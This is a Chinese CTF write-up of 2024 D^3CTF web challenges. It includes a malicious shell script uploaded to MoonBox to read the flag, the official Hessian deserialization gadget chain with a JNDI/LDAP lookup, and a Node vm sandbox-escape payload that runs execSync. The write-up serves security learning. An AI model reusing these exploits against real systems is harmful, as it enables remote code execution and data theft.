目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. d3pythonhttp(Unsolved)
    2. 2.2. moonbox (Unsolved)
      1. 2.2.1. 非预期
      2. 2.2.2. 预期
    3. 2.3. stack_overflow (复现)
      1. 2.3.1. 常规做法
      2. 2.3.2. pwn的做法(False)
    4. 2.4. Doctor (Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

2024 凌武杯 x D^3CTF

2024/4/27 CTF线上赛
  |     |   总文章阅读量:

前言

好难。。做不动了qaq

诶,我打d3,真的假的

参考wp:

NK:https://mp.weixin.qq.com/s/eDEnZ7WFaZVddaOlDwZSYg

W&M:https://blog.wm-team.cn/index.php/archives/75/

Boogipop(其实也是W&M的web wp):https://boogipop.com/2024/04/30/%E5%87%8C%E6%AD%A6%E6%9D%AF%20x%20D%5E3CTF%20Web%20Writeup%202024/

官方wp:https://mp.weixin.qq.com/s?__biz=MzkxNzU4OTM0MA==&mid=2247484634&idx=1&sn=f80392917739d8c0d036d27dfd0f0d4c&chksm=c1bf18e9f6c891ff4866f78746ea7c6e237b10d1e7ddee45bdcc9f654a5292da7336f0aaf8fb&mpshare=1&scene=23&srcid=0430AkULY54BqatZLQw5nc1G&sharer_shareinfo=73458752b657ac41b441edb5ef897c1c&sharer_shareinfo_first=73458752b657ac41b441edb5ef897c1c#rd

Web

d3pythonhttp(Unsolved)

jwt + 前后端分离 + pickle

下载附件,审一下代码

/路由:

@app.route('/', methods=['GET'])
def index():
    token = request.cookies.get('token')
    if token and verify_token(token):
        return "Hello " + jwt.decode(token, algorithms=["HS256"], options={"verify_signature": False})["username"]
    else: 
        return redirect("/login", code=302)

/login路由:

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == "POST":
        user_info = {"username": request.form["username"], "isadmin": False}
        key = get_key("frontend_key")
        token = jwt.encode(user_info, key, algorithm="HS256", headers={"kid": "frontend_key"})
        resp = make_response(redirect("/", code=302))
        resp.set_cookie("token", token)
        return resp
    else:
        return render_template_string(login_form)

根据 username 给token生成jwt串,设置了一个header,"kid": "frontend_key"

/backend路由:

@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():
    forward_url = "python-backend:8080"
    conn = http.client.HTTPConnection(forward_url)
    method = request.method
    headers = {key: value for (key, value) in request.headers if key != "Host"}
    data = request.data
    path = "/"
    if request.query_string:
        path += "?" + request.query_string.decode()
    conn.request(method, path, body=data, headers=headers)
    response = conn.getresponse()
    return response.read()

发送给后端的服务?

/admin路由:

@app.route('/admin', methods=['GET', 'POST'])
def admin():
    token = request.cookies.get('token')
    if token and verify_token(token):
        if request.method == 'POST':
            if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
                forward_url = "python-backend:8080"
                conn = http.client.HTTPConnection(forward_url)
                method = request.method
                headers = {key: value for (key, value) in request.headers if key != 'Host'}
                data = request.data
                path = "/"
                if request.query_string:
                    path += "?" + request.query_string.decode()
                if headers.get("Transfer-Encoding", "").lower() == "chunked":
                    data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
                if "BackdoorPasswordOnlyForAdmin" not in data:
                    return "You are not an admin!"
                conn.request(method, "/backdoor", body=data, headers=headers)
                return "Done!"
            else:
                return "You are not an admin!"
        else:
            if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
                return "Welcome admin!"
            else:
                return "You are not an admin!"
    else: 
        return redirect("/login", code=302)

看起来是要进入后端的/backdoor,先一层层绕过检测吧

首先是if token and verify_token(token),我们看一下对应的方法

def get_key(kid):
    key = ""
    dir = "/app/"
    try:
        with open(dir+kid, "r") as f:
            key = f.read()
    except:
        pass
    print(key)
    return key

def verify_token(token):
    header = jwt.get_unverified_header(token)
    kid = header["kid"]
    key = get_key(kid)
    try:
        payload = jwt.decode(token, key, algorithms=["HS256"])
        return True
    except:
        return False

会用header里面的kid作为路径获取key,但是我们可以自己修改为空


moonbox (Unsolved)

非预期

https://github.com/vivo/MoonBox/blob/main/docker/docker-compose.yml

起docker,同时下载一下源码,是月光宝盒1.2.0

先读一下moonbox官方文档,看一下功能点

看了一圈发现这里的agent文件管理存在可控文件上传

image-20240803175933248

可以传sh脚本还能执行?全局搜一下sh执行的java文件

com/vivo/internet/moonbox/service/console/util/AgentUtil.java

/**
 * 获取远程服务器启动agent命令
 *
 * @param appName    应用名称
 * @param taskConfig 任务配置
 * @return 启动shell 脚本
 * @throws Exception 抛出异常
 */
public static String getRemoteAgentStartCommand(String sandboxDownLoadUrl, String moonboxDownLoadUrl, String appName, String taskConfig) {
    //从服务端下载moonbox 和 sandbox 两个agent并解压。然后格式化启动脚本
    String downLoadCommand = "curl -o sandboxDownLoad.tar " + sandboxDownLoadUrl + " && curl -o moonboxDownLoad.tar " + moonboxDownLoadUrl;

    String rmDir = " && rm -fr ~/sandbox && rm -fr ~/.sandbox-module";

    String unzipCommand=" &&  tar  -xzf sandboxDownLoad.tar -C ~/ >> /dev/null && tar  -xzf moonboxDownLoad.tar -C ~/ >> /dev/null";

    //格式化脚本
    String dos2unixSh = " && dos2unix ~/sandbox/bin/sandbox.sh && dos2unix ~/.sandbox-module/bin/start-remote-agent.sh";

    //删除文件
    String rmAgentZip = " && rm -f moonboxDownLoad.tar sandboxDownLoad.tar";

    //start-remote-agent脚本来拉起来agent
    String startAgentCommand = " && sh ~/.sandbox-module/bin/start-remote-agent.sh " + appName +" "+ taskConfig;
    return downLoadCommand + rmDir + unzipCommand + dos2unixSh + rmAgentZip + startAgentCommand;
}

运行一下默认模板的流量录制

image-20240803181500612

可以看到执行了这样一段命令同时也是带出了执行结果的回显:

curl -o sandboxDownLoad.tar http://127.0.0.1:8080/api/agent/downLoadSandBoxZipFile && curl -o moonboxDownLoad.tar http://127.0.0.1:8080/api/agent/downLoadMoonBoxZipFile && rm -fr ~/sandbox && rm -fr ~/.sandbox-module &&  tar  -xzf sandboxDownLoad.tar -C ~/ >> /dev/null && tar  -xzf moonboxDownLoad.tar -C ~/ >> /dev/null && dos2unix ~/sandbox/bin/sandbox.sh && dos2unix ~/.sandbox-module/bin/start-remote-agent.sh && rm -f moonboxDownLoad.tar sandboxDownLoad.tar && sh ~/.sandbox-module/bin/start-remote-agent.sh moon-box-web rc_id_b8ce70c4caf4eec2df101f4fa406ff87%26http%3A%2F%2F127.0.0.1%3A8080%26INFO%26INFO

那如果我们替换了moonbox里面的start-remote-agent.sh脚本就可以rce

Dockerfile里给出了root用户默认密码 root:123456,通过docker机器名 moonbox-server 可以访问内网的docker-moonbox-server容器,刚好这台容器有sshd,有root默认密码,并且有flag

image-20240803181942420

接下来就可以操作了,直接构造恶意sh脚本 .sandbox-module/bin/start-remote-agent.sh 或者 sandbox/bin/sandbox.sh,然后tar打包成agent.tar上传即可

#!/bin/sh
cat /flag|base64

image-20240803183018051

image-20240803183045349

可以看到这里带出了base64编码的回显,即我们的flag

当然也可以弹shell


预期

官方wp的exp,打ldap?:

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IOException {
  
        SwingLazyValue swingLazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://127.0.0.1:1389/deserialJackson"});

        UIDefaults u1 = new UIDefaults();
        UIDefaults u2 = new UIDefaults();
        u1.put("key", swingLazyValue);
        u2.put("key", swingLazyValue);
        HashMap hashMap = new HashMap();
        Class node = Class.forName("java.util.HashMap$Node");
        Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
        constructor.setAccessible(true);
        Object node1 = constructor.newInstance(0, u1, null, null);
        Object node2 = constructor.newInstance(0, u2, null, null);
        Field key = node.getDeclaredField("key");
        key.setAccessible(true);
        key.set(node1, u1);
        key.set(node2, u2);
        Field size = HashMap.class.getDeclaredField("size");
        size.setAccessible(true);
        size.set(hashMap, 2);
        Field table = HashMap.class.getDeclaredField("table");
        table.setAccessible(true);
        Object arr = Array.newInstance(node, 2);
        Array.set(arr, 0, node1);
        Array.set(arr, 1, node2);
        table.set(hashMap, arr);

        HashMap hashMap1 = new HashMap();
        size.set(hashMap1, 2);
        table.set(hashMap1, arr);

        HashMap map = new HashMap();
        map.put(hashMap, hashMap);
        map.put(hashMap1, hashMap1);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        SerializerFactory hessian = new SerializerFactory();
        hessian.setAllowNonSerializable(true);
        Hessian2Output hout = new Hessian2Output(baos);
        hout.setSerializerFactory(hessian);
        hout.getSerializerFactory().setAllowNonSerializable(true);
        hout.writeObject(map);
        hout.close();

        byte[] byteArray = baos.toByteArray();
        FileOutputStream fileOutputStream = new FileOutputStream("poc.ser");
        fileOutputStream.write(byteArray);

        byte[] bytes = Files.readAllBytes(Paths.get("poc.ser"));

        Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(bytes));
        hessian2Input.readObject();

    }
}

然后

import com.alibaba.jvm.sandbox.repeater.plugin.core.utils.HttpUtil;
import com.alibaba.jvm.sandbox.repeater.plugin.core.utils.SignUtils;
import com.google.common.io.BaseEncoding;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Map;

public class EXP {
    public static void main(String[] args) throws IOException {
        String url = "http://localhost:9999/api/agent/replay/save";
        Map<String, String> headers = SignUtils.getHeaders();
        headers.put("content-type", "application/json");
        String body = BaseEncoding.base64().encode(Files.readAllBytes(Paths.get("poc.ser")));
        HttpUtil.Resp resp = HttpUtil.invokePostBody(url, headers, body);
        System.out.println(resp);
    }
}

看不懂啦(


stack_overflow (复现)

vm沙箱逃逸

反正不是webpwn

如果是本地docker起环境的时候记得转发一下3090端口

审一下源码:

const express = require('express')
const vm = require("vm");

let app = express();
app.use(express.json());
app.use('/static', express.static('static'))

const pie = parseInt(Math.random() * 0xffffffff)

function waf(str) {
    let pattern = /(call_interface)|\{\{.*?\}\}/g;
    return str.match(pattern)
}

app.get('/', (req, res) => {
    res.sendFile(__dirname + "/index.html")
})

app.post('/', (req, res) => {
    let respond = {}

    let stack = []
    
    let getStack = function (address) {
        if (address - pie >= 0 && address - pie < 0x10000) return stack[address - pie]
        return 0
    }

    let getIndex = function (address) {
        return address - pie
    }

    let read = function (fd, buf, count) {
        let ori = req.body[fd]
        if (ori.length < count) {
            count = ori.length
        }

        if (typeof ori !== "string" && !Array.isArray(ori)) return res.json({"err": "hack!"})

        for (let i = 0; i < count; i++){
            if (waf(ori[i])) return res.json({"err": "hack!"})
            stack[getIndex(buf) + i] = ori[i]
        }
    }

    let write = function (fd, buf, count) {
        if (!respond.hasOwnProperty(fd)) {
            respond[fd] = []
        }
        for (let i = 0; i < count; i++){
            respond[fd].push(getStack(buf + i))   
        }
    }

    let run = function (address) {
        let continuing = 1;
        while (continuing) {
            switch (getStack(address)) {
                case "read":
                    let r_fd = stack.pop()
                    let read_addr = stack.pop()
                    if (read_addr.startsWith("{{") && read_addr.endsWith("}}")) {
                        read_addr = pie + eval(read_addr.slice(2,-2).replace("stack", (stack.length - 1).toString()))
                    }
                    read(r_fd, parseInt(read_addr), parseInt(stack.pop()))
                    break;
                case "write":
                    let w_fd = stack.pop()
                    let write_addr = stack.pop()
                    if (write_addr.startsWith("{{") && write_addr.endsWith("}}")) {
                        write_addr = pie + eval(write_addr.slice(2,-2).replace("stack", (stack.length - 1).toString()))
                    }
                    write(w_fd, parseInt(write_addr), parseInt(stack.pop()))
                    break;
                case "exit":
                    continuing = 0;
                    break;
                case "call_interface":
                    let numOfArgs = stack.pop()
                    let cmd = stack.pop()
                    let args = []
                    for (let i = 0; i < numOfArgs; i++) {
                        args.push(stack.pop())
                    }
                    cmd += "('"  + args.join("','") + "')"
                    let result = vm.runInNewContext(cmd)
                    stack.push(result.toString())
                    break;
                case "push":
                    let numOfElem = stack.pop()
                    let elemAddr = parseInt(stack.pop())
                    for (let i = 0; i < numOfElem; i++) {
                        stack.push(getStack(elemAddr + i))
                    }
                    break;
                default:
                    stack.push(getStack(address))
                    break;
            }
            address += 1
        }
    }

    let code = `0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
28
[[ 0 ]]
stdin
read
Started Convertion...
Your input is:
2
[[short - 3]]
stdout
write
5
[[ 0 ]]
stdout
write
...
1
[[short - 2]]
stdout
write
[[ 0 ]]
5
push
(function (...a){  return a.map(char=>char.charCodeAt(0)).join(' ');})
5
call_interface
Ascii is:
1
[[short - 2]]
result
write
1
{{ stack - 2 }}
result
write
Ascii is:
1
[[short - 2]]
stdout
write
1
{{ stack - 3 }}
stdout
write
ok
1
[[short - 2]]
status
write
exit`
    
    code = code.split('\n');
    for (let i = 0; i < code.length; i++){
        stack.push(code[i])
        if (stack[i].startsWith("[[") && stack[i].endsWith("]]")) {
            stack[i] = (pie + eval(stack[i].slice(2,-2).replace("short", i.toString()))).toString()
        }
    }
    run(pie + 0)
    return res.json(respond)
})

app.listen(3090, () => {
    console.log("listen on 3090");
})

常规做法

因为是vm沙箱,所以我们先找一下最终的利用点runInNewContext

case "call_interface":
    let numOfArgs = stack.pop()
    let cmd = stack.pop()
    let args = []
    for (let i = 0; i < numOfArgs; i++) {
        args.push(stack.pop())
    }
    cmd += "('"  + args.join("','") + "')"
    let result = vm.runInNewContext(cmd)
    stack.push(result.toString())
    break;

注意到这里的cmd会与 args 数组里的元素进行拼接cmd += "('" + args.join("','") + "')"

image-20240430215356265

效果就像上面这张图一样,会切掉每一个字符,这样明显没法进行逃逸

然后看一下读取参数的部分

let read = function (fd, buf, count) {
    let ori = req.body[fd]
    if (ori.length < count) {
        count = ori.length
    }

    if (typeof ori !== "string" && !Array.isArray(ori)) return res.json({"err": "hack!"})

    for (let i = 0; i < count; i++){
        if (waf(ori[i])) return res.json({"err": "hack!"})
        stack[getIndex(buf) + i] = ori[i]
    }
}

注意到传入的参数可以是数组

那么如果我们传入一个长度为1的数组是否能够绕过join呢?传入{"stdin":["abcde"]}试试

image-20240430220121359

可以看到这里确实把字符串完整传进去了,那么接下来就可以闭合')并在末尾加注释符,然后注入命令进行沙盒逃逸了

payload:

{"stdin":["');var exec = this.constructor.constructor;var require = exec('return process.mainModule.constructor._load')();require('child_process').execSync(\"calc\").toString(); //"]}

本地弹计算器成功

image-20240430220345001

image-20240430220531623

pwn的做法(False)

write溢出pie,不懂

看一下这里的code

    let code = `0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
28
[[ 0 ]]
stdin
read
Started Convertion...
Your input is:
2
[[short - 3]]
stdout
write
5
[[ 0 ]]
stdout
write
...
1
[[short - 2]]
stdout
write
[[ 0 ]]
5
push
(function (...a){  return a.map(char=>char.charCodeAt(0)).join(' ');})
5
call_interface
Ascii is:
1
[[short - 2]]
result
write
1
{{ stack - 2 }}
result
write
Ascii is:
1
[[short - 2]]
stdout
write
1
{{ stack - 3 }}
stdout
write
ok
1
[[short - 2]]
status
write
exit`

read覆盖stack[42],执行call_interface,然后就能rce了

image-20240430222003350

复现不出来,摆


Doctor (Unsolved)